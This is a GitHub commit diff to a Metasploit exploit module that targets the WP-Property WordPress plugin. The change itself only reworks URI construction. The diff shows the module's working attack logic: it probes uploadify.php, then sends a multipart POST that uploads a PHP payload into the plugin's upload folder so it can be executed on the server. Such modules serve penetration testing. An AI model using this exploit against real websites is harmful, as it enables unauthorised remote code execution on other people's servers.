Skip to content

Commit 0b766cd

Browse files
committed
changes per firefart
1 parent 744308b commit 0b766cd

File tree

1 file changed

+6
-5
lines changed

1 file changed

+6
-5
lines changed

modules/exploits/unix/webapp/wp_property_upload_exec.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -54,11 +54,11 @@ def initialize(info = {})
5454
end
5555

5656
def check
57-
uri = normalize_uri(target_uri.path)
57+
uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify', 'uploadify.php')
5858

5959
res = send_request_cgi({
6060
'method' => 'GET',
61-
'uri' => "#{uri}/wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"
61+
'uri' => uri
6262
})
6363

6464
if not res or res.code != 200
@@ -69,7 +69,8 @@ def check
6969
end
7070

7171
def exploit
72-
uri = normalize_uri(target_uri.path)
72+
data_uri = normalize_uri(target_uri.path, 'wp-content', 'plugins', 'wp-property', 'third-party', 'uploadify/')
73+
request_uri = normalize_uri(data_uri, 'uploadify.php')
7374

7475
peer = "#{rhost}:#{rport}"
7576

@@ -78,13 +79,13 @@ def exploit
7879

7980
data = Rex::MIME::Message.new
8081
data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
81-
data.add_part("#{uri}/wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
82+
data.add_part(data_uri, nil, nil, "form-data; name=\"folder\"")
8283
post_data = data.to_s
8384

8485
print_status("#{peer} - Uploading payload #{@payload_name}")
8586
res = send_request_cgi({
8687
'method' => 'POST',
87-
'uri' => "#{uri}/wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
88+
'uri' => request_uri,
8889
'ctype' => "multipart/form-data; boundary=#{data.bound}",
8990
'data' => post_data
9091
})

0 commit comments

Comments
 (0)